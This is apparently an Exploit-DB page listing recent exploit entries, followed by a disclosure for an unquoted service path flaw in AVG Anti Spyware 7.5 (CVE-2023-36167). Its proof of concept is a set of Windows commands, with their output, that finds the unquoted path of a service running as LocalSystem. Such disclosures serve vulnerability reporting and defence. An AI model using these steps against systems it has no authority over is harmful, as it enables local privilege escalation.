00f5021452
10 changes to exploits/shellcodes/ghdb Ateme TITAN File 3.9 - SSRF File Enumeration Netlify CMS 2.10.192 - Stored Cross-Site Scripting (XSS) Spring Cloud 3.2.2 - Remote Command Execution (RCE) BuildaGate5library v5 - Reflected Cross-Site Scripting (XSS) Park Ticketing Management System 1.0 - 'viewid' SQL Injection Park Ticketing Management System 1.0 - 'viewid' SQL Injection Frappe Framework (ERPNext) 13.4.0 - Remote Code Execution (Authenticated) AVG Anti Spyware 7.5 - Unquoted Service Path _AVG Anti-Spyware Guard_ Game Jackal Server v5 - Unquoted Service Path _GJServiceV5_ MiniTool Partition Wizard ShadowMaker v.12.7 - Unquoted Service Path _MTAgentService_ MiniTool Partition Wizard ShadowMaker v.12.7 - Unquoted Service Path _MTSchedulerService_
34 lines
No EOL
1.3 KiB
Text
34 lines
No EOL
1.3 KiB
Text
# Exploit Title: AVG Anti Spyware 7.5 - Unquoted Service Path
|
|
# Date: 06/07/2023
|
|
# Exploit Author: Idan Malihi
|
|
# Vendor Homepage: https://www.avg.com
|
|
# Software Link: https://www.avg.com/en-ww/homepage#pc
|
|
# Version: 7.5
|
|
# Tested on: Microsoft Windows 10 Pro
|
|
# CVE : CVE-2023-36167
|
|
|
|
#PoC
|
|
|
|
C:\Users>wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """
|
|
AVG Anti-Spyware Guard AVG Anti-Spyware Guard C:\Program Files (x86)\Grisoft\AVG Anti-Spyware 7.5\guard.exe Auto
|
|
|
|
C:\Users>sc qc "AVG Anti-Spyware Guard"
|
|
[SC] QueryServiceConfig SUCCESS
|
|
|
|
SERVICE_NAME: AVG Anti-Spyware Guard
|
|
TYPE : 10 WIN32_OWN_PROCESS
|
|
START_TYPE : 2 AUTO_START
|
|
ERROR_CONTROL : 1 NORMAL
|
|
BINARY_PATH_NAME : C:\Program Files (x86)\Grisoft\AVG Anti-Spyware 7.5\guard.exe
|
|
LOAD_ORDER_GROUP :
|
|
TAG : 0
|
|
DISPLAY_NAME : AVG Anti-Spyware Guard
|
|
DEPENDENCIES :
|
|
SERVICE_START_NAME : LocalSystem
|
|
|
|
C:\Users>systeminfo
|
|
|
|
Host Name: DESKTOP-LA7J17P
|
|
OS Name: Microsoft Windows 10 Pro
|
|
OS Version: 10.0.19042 N/A Build 19042
|
|
OS Manufacturer: Microsoft Corporation |